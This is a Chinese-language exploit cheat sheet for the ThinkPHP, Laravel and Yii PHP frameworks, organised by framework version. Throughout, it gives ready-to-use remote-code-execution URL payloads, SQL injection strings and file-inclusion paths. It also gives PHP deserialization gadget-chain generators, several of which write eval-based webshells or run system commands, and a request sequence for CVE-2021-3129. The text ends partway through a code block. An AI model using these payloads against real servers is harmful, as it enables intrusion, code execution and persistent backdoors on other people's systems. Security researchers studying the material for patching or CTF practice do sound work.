通用
- SQL注入+文件读取+反序列化
  ThinkPHP v3.2.* （SQL注入&文件读取）反序列化POP链
- RCE / LFI
  ThinkPHP3.2.x RCE漏洞通报
  如果模板赋值方法assign的第一个参数可控，则可导致模板文件路径变量被覆盖为携带攻击代码的文件路径，造成任意文件包含，执行任意代码。
  debug模式关
  index.php?m=--><?=phpinfo();?>
  LFI：
  index.php?m=Home&c=Index&a=index&value[filename]=./Application/Runtime/Logs/Home/21_06_30.log 或
  index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_06_30.log
  debug模式开
  index.php?m=Home&c=Index&a=index&test=--><?=phpinfo();?>
  LFI：
  index.php?m=Home&c=Index&a=index&value[filename]=./Application/Runtime/Logs/Home/21_06_30.log 或
  index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_06_30.log
  限定条件下参数的收集（替换变量名）
  param/name/value/array/arr/info/list/page/menus/var/data/moudle/module

3.2.3

SQL注入
index.php?m=Home&c=Index&a=index2&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1) %23
index.php?username[0]=exp&username[1]==1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1) %23
index.php?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1
index.php?m=Home&c=Index&a=sqlvul2&order[updatexml(1,concat(0x3a,user()),1)]
变量覆盖
empty($_content)?include $templateFile:eval('?>'.$_content);

反序列化+SQL注入

<?php
namespace Think\Image\Driver;
use Think\Session\Driver\Memcache;
class Imagick{
    private $img;
    public function __construct(){
        $this->img = new Memcache();
    }
}

namespace Think\Session\Driver;
use Think\Model;
class Memcache {
    protected $handle;
    public function __construct(){
        $this->sessionName=null;
        $this->handle= new Model();
    }
}

namespace Think;
use Think\Db\Driver\Mysql;
class Model{
    protected $pk;
    protected $options;
    protected $data;
    protected $db;
    public function __construct(){
        $this->options['where']='';
        $this->pk='x';
        $this->data[$this->pk]=array(
            "table"=>"mysql.user where 1=updatexml(1,concat(0x7e,user()),1)#",
            "where"=>"1=1"
        );
        $this->db=new Mysql();
    }
}
namespace Think\Db\Driver;
use PDO;
class Mysql{
    protected $options ;  
    protected $config ;
    public function __construct(){
        $this->options= array(PDO::MYSQL_ATTR_LOCAL_INFILE => true );   // 开启才能读取文件
        $this->config= array(
            "debug"    => 1,
            "database" => "mysql",
            "hostname" => "127.0.0.1",
            "hostport" => "3306",
            "charset"  => "utf8",
            "username" => "root",
            "password" => "root"
        );
        }
}

use Think\Image\Driver\Imagick;
echo base64_encode(serialize(new Imagick()));

5.0.x

通用
- 文件包含
  Thinkphp 多语言功能导致的任意文件包含
  ?lang=../../../../../public/index
  http://tttang.com/archive/1865/
5.0.7<=ver<=5.0.22
- 未开启强制路由RCE
  ?s=index/think\config/get&name=database.username
  ?s=index/think\config/get&name=database.password
  ?s=index/\think\Lang/load&file=../../test.jpg
  ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
  ?s=index POST: _method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
  ?s=index POST: _method=__construct&filter[]=system&method=GET&get[]=whoami
<5.0.23
ThinkPHP 5.0.0~5.0.23 Request类任意方法调用导致RCE漏洞分析
- RCE
  index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'
  index.php?s=captcha POST: _method=__construct&filter[]=system&method=GET&get[]=whoami
  index.php?s=index/index POST: _method=__construct&filter[]=system&method=GET&get[]=whoami
- 任意文件包含
  index.php?s=captcha POST: _method=__construct&method=GET&filter[]=think__include_file&server[]=1&get[]=/etc/passwd
<5.0.12
- RCE
  index.php?s=index/index POST: _method=__construct&filter[]=system&method=POST&s=whoami
5.0.21-5.0.23
- RCE
  index.php?s=captcha POST: _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

5.0.24

反序列化

ThinkPHP v5.0.x 反序列化利用链挖掘

生成phar：

<?php
namespace think\process\pipes {
    class Windows {
        private $files = [];

        public function __construct($files)
        {
            $this->files = [$files]; 
        }
    }
}

namespace think {
    abstract class Model{
        protected $append = [];
        protected $error = null;
        public $parent;

        function __construct($output, $modelRelation)
        {
            $this->parent = $output; 
            $this->append = array("xxx"=>"getError");    
            $this->error = $modelRelation;   
        }
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model{
        function __construct($output, $modelRelation)
        {
            parent::__construct($output, $modelRelation);
        }
    }
}

namespace think\model\relation{
    class HasOne extends OneToOne {

    }
}
namespace think\model\relation {
    abstract class OneToOne
    {
        protected $selfRelation;
        protected $bindAttr = [];
        protected $query;
        function __construct($query)
        {
            $this->selfRelation = 0;
            $this->query = $query;    //$query指向Query
            $this->bindAttr = ['xxx'];// $value值，作为call函数引用的第二变量
        }
    }
}

namespace think\db {
    class Query {
        protected $model;

        function __construct($model)
        {
            $this->model = $model; //$this->model=> think\console\Output;
        }
    }
}
namespace think\console{
    class Output{
        private $handle;
        protected $styles;
        function __construct($handle)
        {
            $this->styles = ['getAttr'];
            $this->handle =$handle; //$handle->think\session\driver\Memcached
        }

    }
}
namespace think\session\driver {
    class Memcached
    {
        protected $handler;

        function __construct($handle)
        {
            $this->handler = $handle; //$handle->think\cache\driver\File
        }
    }
}

namespace think\cache\driver {
    class File
    {
        protected $options=null;
        protected $tag;

        function __construct(){
            $this->options=[
                'expire' => 3600,
                'cache_subdir' => false,
                'prefix' => '',
                'path'  => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../../../../../../../../../../var/www/html/',
                'data_compress' => false,
            ];
            $this->tag = 'xxx';
        }

    }
}

namespace {
    $Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
    $Output = new think\console\Output($Memcached);
    $model = new think\db\Query($Output);
    $HasOne = new think\model\relation\HasOne($model);
    $window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));

    $phar = new Phar("phar.phar"); 
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($window);        
    $phar->addFromString("test.txt", "test");        
    $phar->stopBuffering();
}

5.1.x

通用

未开启强制路由RCE
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\request/input?data[]=-1&filter=phpinfo
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\view\driver\Think/display&template=<?php phpinfo();?>
?s=index/\think\view\driver\Think/__call&method=display&params[]=<?php system('whoami'); ?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=/index/\think\request/cache&key=1|phpinfo
?s=/index/\think\request/cache&key=ls|system

任意文件删除

存在位置：\thinkphp\library\think\process\pipes\Windows.php

<?php
namespace think\process\pipes;
class Pipes {}
class Windows extends Pipes {
    private $files = [];
    public function __construct() {
        $this->files = ['tmp.txt'];
    }
}
echo base64_encode(serialize(new Windows()));

文件包含
Thinkphp 多语言功能导致的任意文件包含
?lang=../../../../../public/index
http://tttang.com/archive/1865/

5.1.31
- RCE
  index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'

5.1.38

反序列化

thinkPHP5.1整理

index.php?sss=whoami POST: data=xxxxxx

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["sss"=>["calc.exe","calc"]];
        $this->data = ["sss"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',  
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>'lin'];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}


namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
?>

6.0.x

通用

反序列化

ThinkPHP V6.0.x 反序列化漏洞

<?php
namespace think\model\concern;

trait Attribute{
    private $data;
    private $withAttr;
}
trait ModelEvent{
    protected $withEvent;
}

namespace think;

abstract class Model{
    use model\concern\Attribute;
    use model\concern\ModelEvent;
    private $exists;
    private $force;
    private $lazySave;
    protected $suffix;
    function __construct($a = '')
    {   
    $func = function(){phpinfo();};
    $b=\Opis\Closure\serialize($func);
        $this->exists = true;
        $this->force = true;
    $this->lazySave = true;
    $this->withEvent = false;
        $this->suffix = $a;
        $this->data=['x'=>''];

        $c=unserialize($b); 
    $this->withAttr=['x'=>$c];
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model{}
require 'closure/autoload.php';
echo urlencode(serialize(new Pivot(new Pivot())));

<?php

namespace think\model\concern;

trait Attribute
{
    private $data = ["key" => ["key1" => "whoami"]];
    private $withAttr = ["key"=>["key1"=>"system"]];
    protected $json = ["key"];
}
namespace think;

abstract class Model
{
    use model\concern\Attribute;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $table;
    protected $jsonAssoc;
    function __construct($obj = '')
    {
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->table = $obj;
        $this->jsonAssoc = true;
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model{}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));

文件包含
Thinkphp 多语言功能导致的任意文件包含，版本要求 ThinkPHP v6.0.1 <= v6.0.x <= v6.0.13
?lang=../../../../../public/index
http://tttang.com/archive/1865/

其他

tp6.0.8反序列化漏洞分析

<?php
namespace League\Flysystem\Cached\Storage;
abstract class AbstractCache {
}
namespace think\cache;
use think\cache\Driver;
abstract class Driver {
}
namespace think\cache\driver;
use think\cache\driver;
class File extends Driver {
	protected $options = [];
	public function __construct() {
		$this->options = [
		'expire' => 0,
		'cache_subdir' => false,
		'prefix' => '',
		'path' => '',
		'hash_type' => 'md5',
		'data_compress' => false,
		'tag_prefix' => 'tag:',
		'serialize'=> ['system']
		];
	}
}
namespace think\filesystem;
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache {
	protected $store;
	protected $key;
	protected $autosave;
	protected $complete;
	public function __construct($store) {
		$this->autosave = false;
		$this->key = "1";
		$this->complete = '`sleep 10`';
		$this->store = $store;
	}
}
use think\cache\driver\file;
$a = new CacheStore(new File());
echo serialize($a);
echo "</br>";
echo urlencode(serialize($a));
?>

https://www.heibai.org/1604.html
https://www.cnblogs.com/20175211lyz/p/13639789.html
https://new.qq.com/omn/20200629/20200629A0RG1800.html

<?php
namespace League\Flysystem\Cached\Storage;
abstract class AbstractCache {
}
namespace think\cache;
use think\cache\Driver;
abstract class Driver {
}
namespace think\cache\driver;
use think\cache\driver;
class File extends Driver {
	protected $options = [];
	public function __construct() {
		$this->options = [
		'expire' => 0,
		'cache_subdir' => false,
		'prefix' => '',
		'path' => 'php://filter/write=convert.base64-
decode/resource=./',
		'hash_type' => 'md5',
		'data_compress' => false,
		'tag_prefix' => 'tag:',
		'serialize'=> ['trim'] //使用trim去掉[]
		];
	}
}
namespace think\filesystem;
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache {
	protected $store;
	protected $key;
	protected $autosave;
	protected $complete;
	public function __construct($store) {
		$this->autosave = false;
		$this->key = "1";
		$this->complete = 'uuuPDw/cGhwIHBocGluZm8oKTtldmFsKCRfR0VUWzFdKTs/PiA=';
		$this->store = $store;
	}
}
use think\cache\driver\file;
$a = new CacheStore(new File());
echo serialize($a);
echo "</br>";
echo urlencode(serialize($a));
?>

https://yq1ng.github.io/z_post/ctfshow-thinkphp%E4%B8%93%E9%A2%98/

/**
* @Author ying
* @Date 8/20/2021 5:01 PM
* @Version 1.0
*/
namespace League\Flysystem\Cached\Storage {
	use League\Flysystem\Adapter\Local;
	class Adapter {
		protected $autosave = true;
		protected $expire = null;
		protected $adapter;
		protected $file;
		public function __construct() {
			$this->autosave = false;
			$this->expire = '<?php eval($_POST[1]);?>';
			$this->adapter = new Local();
			$this->file = 'yq1ng.php';
		}
	}
}
namespace League\Flysystem\Adapter {
	class Local {
	}
}
namespace {
	use League\Flysystem\Cached\Storage\Adapter;
	echo urlencode(serialize(new Adapter()));
}

Laravel

版本

vendor/laravel/framework/src/Illuminate/Foundation/Application.php

5.1

5.1.x

反序列化+RCE

<?php
namespace{
    use Mockery\Generator\DefinedTargetClass;
    class Swift_KeyCache_DiskKeyCache{
        private $_keys=['bit'=>array('bit'=>'bit')];
        private $_path;
        public function __construct($cmd){
            $this->_path=new DefinedTargetClass($cmd);
        }
    }
    echo urlencode(serialize(new Swift_KeyCache_DiskKeyCache($argv[1])));
}
namespace Mockery\Generator{
    use Faker\ValidGenerator;
    class DefinedTargetClass
    {
        private $rfc;
        public function __construct($cmd)
        {
            $this->rfc=new ValidGenerator($cmd);
        }
    }
}
namespace Faker{
    class DefaultGenerator{
        protected $default;
        public function __construct($cmd)
        {
            $this->default = $cmd;
        }
	}
    class ValidGenerator
    {
        protected $generator;
        protected $validator;
        protected $maxRetries;
        public function __construct($cmd){
            $this->generator=new DefaultGenerator($cmd);
            $this->maxRetries=9;
            $this->validator='system';
        }
    }
}

<?php
namespace{
    use phpDocumentor\Reflection\DocBlock\Tags\Deprecated;
    class Swift_KeyCache_DiskKeyCache{
        private $_keys=['bit'=>array('bit'=>'bit')];
        private $_path;
        public function __construct($cmd){
            $this->_path=new Deprecated($cmd);
    	}
    }
    echo urlencode(serialize(new Swift_KeyCache_DiskKeyCache($argv[1])));
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
    use Illuminate\Database\DatabaseManager;
    abstract class BaseTag{
        protected $description;
    }
        final class Deprecated extends BaseTag{
        public function __construct($cmd){
            $this->description=new DatabaseManager($cmd);
    	}
    }
}
namespace Illuminate\Database{
    class DatabaseManager{
        protected $app;
        protected $extensions ;
        public function __construct($cmd)
        {
            $this->app['config']['database.default']=$cmd;
            $this->app['config']['database.connections']=array($cmd=>'system');
            $this->extensions[$cmd]='call_user_func';
        }
    }
}

<?php
namespace{
	use Prophecy\Argument\Token\ObjectStateToken;
    class Swift_KeyCache_DiskKeyCache{
        private $_keys=['bit'=>array('bit'=>'bit')];
        private $_path;
        public function __construct($cmd){
            $this->_path=new ObjectStateToken($cmd);
    	}
    }
    echo urlencode(serialize(new Swift_KeyCache_DiskKeyCache($argv[1])));
}
namespace Prophecy\Argument\Token{
    use Mockery\Generator\MockDefinition;
    use Illuminate\Validation\Validator;
    class ObjectStateToken{
        private $name;
        private $value;
        private $util;
        public function __construct($cmd){
            $this->name='bit';
            $this->value=new MockDefinition($cmd);
            $this->util=new Validator();
        }
    }
}

namespace Illuminate\Validation{
    use Faker\DefaultGenerator;
    class Validator{
        protected $container;
        protected $extensions = [];
        public function __construct(){
            $this->extensions['y']='xxx@load';
            $this->container=new DefaultGenerator();
        }
    }
}
namespace Faker{
    use Mockery\Loader\EvalLoader;
    class DefaultGenerator
    {
        protected $default;

        public function __construct()
        {
            $this->default = new EvalLoader();
    	}
    }
}
namespace Mockery\Loader{
    class EvalLoader{}
}
namespace Mockery\Generator{
    use Illuminate\Session\Store;
    class MockDefinition{
        protected $config;
        protected $code;
        public function __construct($cmd){
            $this->config=new Store();
            $this->code=$cmd;
        }
    }
}
namespace Illuminate\Session{
    class Store{
        protected $name='bit';//类不存在就行
    }
}

5.4.x

5.4.30

反序列化（5.4-5.8）

Laravel5.4 反序列化漏洞挖掘

Illuminate/Support/Manager.php::__call -> driver() -> Illuminate/Notifications/ChannelManager.php

<?php
namespace Illuminate\Broadcasting
{
    use  Illuminate\Notifications\ChannelManager;
    class PendingBroadcast
    {
        protected $events;

        public function __construct($cmd)
        {
            $this->events = new ChannelManager($cmd);
        }
    }
    echo base64_encode(serialize(new PendingBroadcast($argv[1])));
}


namespace Illuminate\Notifications
{
    class ChannelManager
    {
        protected $app;
        protected $defaultChannel;
        protected $customCreators;

        public function __construct($cmd)
        {
            $this->app = $cmd;
            $this->customCreators = ['x' => 'system'];
            $this->defaultChannel = 'x';
        }
    }
}

Illuminate/Validation/Validator.php::__call

<?php
namespace Illuminate\Broadcasting
{
    use  Illuminate\Validation\Validator;
    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct($cmd)
        {
            $this->events = new Validator();
            $this->event=$cmd;
        }
    }
    echo base64_encode(serialize(new PendingBroadcast($argv[1])));
}


namespace Illuminate\Validation
{
    class Validator
    {
       public $extensions = [''=>'system'];
    }
}

Illuminate/Events/Dispatcher.php

<?php
namespace Illuminate\Broadcasting
{
    use  Illuminate\Events\Dispatcher;
    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct($cmd)
        {
            $this->events = new Dispatcher($cmd);
            $this->event=$cmd;
        }
    }
    echo base64_encode(serialize(new PendingBroadcast($argv[1])));
}


namespace Illuminate\Events
{
    class Dispatcher
    {
       protected $listeners;
       public function __construct($event){
           $this->listeners=[$event=>['system']];
       }
    }
}

Illuminate/Bus/Dispatcher.php

<?php
namespace Illuminate\Bus{
class Dispatcher{
    protected $queueResolver;

    public function __construct(){
        $this->queueResolver = "system";
    }
}
}
namespace Illuminate\Broadcasting{
    use Illuminate\Bus\Dispatcher;
    class BroadcastEvent{
        public $connection;

        public function __construct($cmd){
            $this->connection  = $cmd;
        }
    }
    class PendingBroadcast{
        protected $events;
        protected $event;

        public function __construct($event){
            $this->events =  new Dispatcher();
            $this->event = new BroadcastEvent($event);
        }   
    }
    echo base64_encode(serialize(new PendingBroadcast($argv[1])));  
}
?>

Mockery/Loader/EvalLoader.php

<?php
namespace Illuminate\Bus{
    use Mockery\Loader\EvalLoader;
    class Dispatcher{
    protected $queueResolver;

    public function __construct(){
        $this->queueResolver = [new EvalLoader(),'load'];
    }
}
}
namespace Illuminate\Broadcasting{
    use Illuminate\Bus\Dispatcher;
    use Mockery\Generator\MockDefinition;
    class BroadcastEvent{
        public $connection;

        public function __construct($code){
            $this->connection  = new MockDefinition($code);
        }
    }
    class PendingBroadcast{
        protected $events;
        protected $event;

        public function __construct($event){
            $this->events =  new Dispatcher();
            $this->event = new BroadcastEvent($event);
        }   
    }
echo base64_encode(serialize(new PendingBroadcast($argv[1])));  
}
namespace Mockery\Loader{
    class EvalLoader{}
}
namespace Mockery\Generator{
    use Illuminate\Session\Store;
    class MockDefinition{
        protected $config;
        protected $code;
        public function __construct($code){
            $this->config=new Store();
            $this->code=$code;
        }
    }
}
namespace Illuminate\Session{
    class Store{
        protected $name='x';//类不存在
    }
}
?>

5.7.x

5.7.29

反序列化+RCE

//不用PendingCommand.php
<?php
namespace Symfony\Component\Routing\Loader\Configurator {
    class ImportConfigurator
    {
        private $parent;
        public function __construct($parent)
        {
            $this->parent = $parent;
        }
    }
}

namespace Faker {
    class DefaultGenerator{
        protected $default;
        public function __construct($default)
        {
            $this->default = $default;
        }
        public function __call($method, $attributes)
        {
            return $this->default;
        }
    }
    class ValidGenerator
    {
        protected $generator;
        protected $validator;
        protected $maxRetries;
        public function __construct($validator,$generator)
        {
            $this->generator = new DefaultGenerator($generator);
            $this->validator = $validator;
            $this->maxRetries = 1;
        }
        
        public function __call($name, $arguments)
        {
            $i = 0;
            do {
                $res = call_user_func_array(array($this->generator, $name), $arguments);
                $i++;
                if ($i > $this->maxRetries) {
                    throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
                }
            } while (!call_user_func($this->validator, $res));
    
            return $res;
        }
    }
}

namespace {
    $a = new Faker\ValidGenerator("system","cat /flag");
    $b = new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator($a);
    echo urlencode(serialize($b));
}

7.x

7.30

反序列化+RCE

<?php
namespace Illuminate\Routing{
    use Illuminate\Validation\Validator;
    class PendingResourceRegistration
    {
        protected $registrar;
        protected $registered = false;
        protected $name='call_user_func';
        protected $controller='system';
        protected $options;
        public function __construct($cmd){
            $this->registrar=new Validator();
            $this->options=$cmd;
        }
    }
    echo urlencode(serialize(new PendingResourceRegistration($argv[1])));
}
namespace Illuminate\Validation{
    class Validator{    
        public $extensions = [];
        public function __construct(){
            $this->extensions['']='call_user_func';
        }
    }
}

<?php
namespace Illuminate\Routing{
    use Illuminate\View\InvokableComponentVariable;
    class PendingResourceRegistration
    {
        protected $registrar;
        protected $registered = false;
        public function __construct(){
            $this->registrar=new InvokableComponentVariable();
        }
    }
    echo urlencode(serialize(new PendingResourceRegistration()));
}
namespace Illuminate\View{
    use PHPUnit\Framework\MockObject\MockClass;
    class InvokableComponentVariable{
        protected $callable;
        public function __construct(){
            $this->callable=array(new MockClass(),'generate');
        }
    }
}
namespace PHPUnit\Framework\MockObject{
    class MockClass{
        private $classCode;
        private $mockName;
        private $configurableMethods;
        public function __construct(){
            $this->classCode='eval($_POST["cmd"]);';
            $this->mockName='bit';
            $this->configurableMethods='bit';
        }
    }
}

8.x

8.26.1

RCE

CVE-2021-3129

当Laravel开启了Debug模式时，由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用，攻击者可以通过发起恶意请求，构造恶意Log文件等方式触发Phar反序列化，最终造成远程代码执行。

POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.160.130:8077
Content-Type: application/json
Content-Length: 168
{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "xxxxxxx"
  }
}

页面出现了Ignition的报错，说明漏洞存在，且开启了debug模式。

使用如下数据包清除日志文件：

POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.160.130:8077
Content-Type: application/json
Content-Length: 328
{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  }
}

9.x

9.1.8

反序列化+RCE

https://github.com/1nhann/vulns/issues

<?php
namespace Illuminate\Contracts\Queue{
    interface ShouldQueue
    {
    }
}

namespace Illuminate\Bus{
    class Dispatcher{
        protected $container;
        protected $pipeline;
        protected $pipes = [];
        protected $handlers = [];
        protected $queueResolver;
        function __construct()
        {
            $this->queueResolver = "system";
        }
    }
}

namespace Illuminate\Broadcasting{

    use Illuminate\Contracts\Queue\ShouldQueue;

    class BroadcastEvent implements ShouldQueue {
        function __construct()
        {
        }
    }
    class PendingBroadcast{
        protected $events;
        protected $event;
        function __construct()
        {
            $this->event = new BroadcastEvent();
            $this->event->connection = "whoami";
            $this->events = new \Illuminate\Bus\Dispatcher();
        }
    }
}
namespace{
    $a = new \Illuminate\Broadcasting\PendingBroadcast();
    echo base64_encode(serialize($a));
}

<?php
namespace Faker{
    class Generator{
        protected $providers = [];
        protected $formatters = [];
        function __construct()
        {
            $this->formatter = "register";
            $this->formatters = 9999;
        }

    }
}
namespace Illuminate\Routing{
    class PendingResourceRegistration{
        protected $registrar;
        protected $name;
        protected $controller;
        protected $options = [];
        protected $registered = false;
        function __construct()
        {
            $this->registrar = new \Faker\Generator();
            $this->name = "d:/var/www/untitiled/public/1.php";
            $this->controller = '<?php phpinfo();?>';
            $this->options = 8;
        }

    }
}

namespace Symfony\Component\Mime\Part{
    abstract class AbstractPart
    {
        private $headers = null;
    }
    class SMimePart extends AbstractPart{
        protected $_headers;
        public $inhann;
        function __construct(){
            $this->_headers = ["register"=>"file_put_contents"];
            $this->inhann = new \Illuminate\Routing\PendingResourceRegistration();
        }
    }
}


namespace{
    $a = new \Symfony\Component\Mime\Part\SMimePart();
    $ser = preg_replace("/([^\{]*\{)(.*)(s:49.*)(\})/","\\1\\3\\2\\4",serialize($a));
    echo base64_encode(str_replace("i:9999","R:2",$ser));
}

<?php
namespace GuzzleHttp\Cookie{
    class SetCookie
    {
        private static $defaults = [
            'Name'     => null,
            'Value'    => null,
            'Domain'   => null,
            'Path'     => '/',
            'Max-Age'  => null,
            'Expires'  => null,
            'Secure'   => false,
            'Discard'  => false,
            'HttpOnly' => false
        ];
        function __construct()
        {
            $this->data['Expires'] = '<?php phpinfo();?>';
            $this->data['Discard'] = 0;
        }
    }
    class CookieJar{
        private $cookies = [];
        private $strictMode;
        function __construct()
        {
            $this->cookies[] = new SetCookie();
        }
    }
    class FileCookieJar extends CookieJar{
        private $filename;
        private $storeSessionCookies;
        function __construct()
        {
            parent::__construct();
            $this->filename = "d:/var/www/untitled/public/shell.php";
            $this->storeSessionCookies = true;
        }
    }
}
namespace{
    $a = new \GuzzleHttp\Cookie\FileCookieJar();
    echo base64_encode(serialize($a));
}

<?php
namespace Faker{
    class Generator{
        protected $providers = [];
        protected $formatters = [];
        function __construct()
        {
            $this->formatter = "dispatch";
            $this->formatters = 9999;
        }

    }
}

namespace Illuminate\Broadcasting{
    class PendingBroadcast
    {
        public function __construct()
        {
            $this->event = "calc.exe";
            $this->events = new \Faker\Generator();
        }
    }
}

namespace Symfony\Component\Mime\Part{
    abstract class AbstractPart
    {
        private $headers = null;
    }
    class SMimePart extends AbstractPart{
        protected $_headers;
        public $inhann;
        function __construct(){
            $this->_headers = ["dispatch"=>"system"];
            $this->inhann = new \Illuminate\Broadcasting\PendingBroadcast();
        }
    }
}

namespace{
    $a = new \Symfony\Component\Mime\Part\SMimePart();
    $ser = preg_replace("/([^\{]*\{)(.*)(s:49.*)(\})/","\\1\\3\\2\\4",serialize($a));
    echo base64_encode(str_replace("i:9999","R:2",$ser));
}

Yii

版本

a. 在controllers目录新建TestController.php控制器，打开TestController.php文件输入<?php echo Yii::getVersion(); ?>，访问Yii项目中的test控制器下的index：index.php?r=test

b. /vendor/yiisoft/yii2/BaseYii.php

2.0.x

<2.0.37

反序列化

a. yii\db\BatchQueryResult::__destruct() -> Faker\Generator::__call() -> yii\rest\IndexAction::run()

b. yii\db\BatchQueryResult::__destruct() -> Faker\Generator::__call() -> yii\rest\CreateAction::run()

<?php
namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'assert';
            $this->id = 'file_put_contents("1.php","<?php eval(\$_POST[0]);?>");exit();';
        }
    }
}
namespace yii\db{
    use yii\web\DbSession;
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct(){
            $this->_dataReader=new DbSession();
        }
    }
}
namespace yii\web{
    use yii\rest\IndexAction;
    class DbSession
    {
        public $writeCallback;
        public function __construct(){
            $a=new IndexAction();
            $this->writeCallback=[$a,'run'];
        }
    }
}
namespace{
    use yii\db\BatchQueryResult;
    echo base64_encode(serialize(new BatchQueryResult()));
}

2.0.38
- 反序列化
  a. Codeception\Extension\RunProcess::__destruct() -> Faker\Generator::__call() -> yii\rest\IndexAction::run()
  b. Swift_KeyCache_DiskKeyCache -> phpDocumentor\Reflection\DocBlock\Tags\See::__toString()-> Faker\Generator::__call() -> yii\rest\IndexAction::run()

2.0.42

反序列化

yii 2.0.42 最新反序列化利用全集

<?php
namespace Codeception\Extension{
    use Prophecy\Prophecy\ObjectProphecy;
    class  RunProcess{
        private $processes = [];
        public function __construct(){
            $a = new ObjectProphecy('1');
            $this->processes[]=new ObjectProphecy($a);
        }
    }
    echo urlencode(serialize(new RunProcess()));
}
namespace Prophecy\Prophecy{
    use Prophecy\Doubler\LazyDouble;
    class ObjectProphecy{
        private $lazyDouble;
        private $revealer;
        public function __construct($a){
            $this->revealer=$a;//一个调用自己的对象
            $this->lazyDouble=new lazyDouble();
        }
    }   
}
namespace Prophecy\Doubler{
    use Prophecy\Doubler\Doubler;
    class LazyDouble{
        private $doubler;
        private $class;
        private $interfaces;
        private $arguments;
        private $double=null;
        public function __construct(){
            $this->doubler = new Doubler();
            $this->arguments=array('x'=>'x');
            $this->class=new \ReflectionClass('Exception');
            $this->interfaces[]=new \ReflectionClass('Exception');
        }
    }
}
namespace Faker{
    class DefaultGenerator{
        protected $default;
        public function __construct($default){
            $this->default = $default;
        }
    }
}

namespace Prophecy\Doubler\Generator\Node{
    class ClassNode{}
}
namespace Prophecy\Doubler{
    use Faker\DefaultGenerator;
    use Prophecy\Doubler\Generator\ClassCreator;
    use Prophecy\Doubler\Generator\Node\ClassNode;
    class Doubler{
        private $namer;
        private $mirror;
        private $patches;
        private $creator;
        public function __construct(){
            $name='x';
            $node=new ClassNode();
            $this->namer=new DefaultGenerator($name);
            $this->mirror=new DefaultGenerator($node);
            $this->patches=array(new DefaultGenerator(false));
            $this->creator=new ClassCreator();
        }
    }
}
namespace Prophecy\Doubler\Generator{
    use Faker\DefaultGenerator;
    class ClassCreator{
        private $generator;
        public function __construct(){
            $this->generator=new DefaultGenerator('eval($_POST["cmd"]);');
        }
    }
}

<?php
namespace Codeception\Extension{
    use Faker\UniqueGenerator;
    class  RunProcess{
        private $processes = [];
        public function __construct(){
            $this->processes[]=new UniqueGenerator();
        }
    }
    echo urlencode(serialize(new RunProcess()));
}
namespace Faker{
    use Symfony\Component\String\LazyString;
    class UniqueGenerator{
        protected $generator;
        protected $maxRetries;
        public function __construct(){
            $a = new LazyString();
            $this->generator = new DefaultGenerator($a);
            $this->maxRetries = 2;
        }
    }
    class DefaultGenerator{
        protected $default;
        public function __construct($default = null){
            $this->default = $default;
        }
    }
}
namespace Symfony\Component\String{
    class LazyString{
        private $value;
        public function __construct(){
            include("closure/autoload.php");
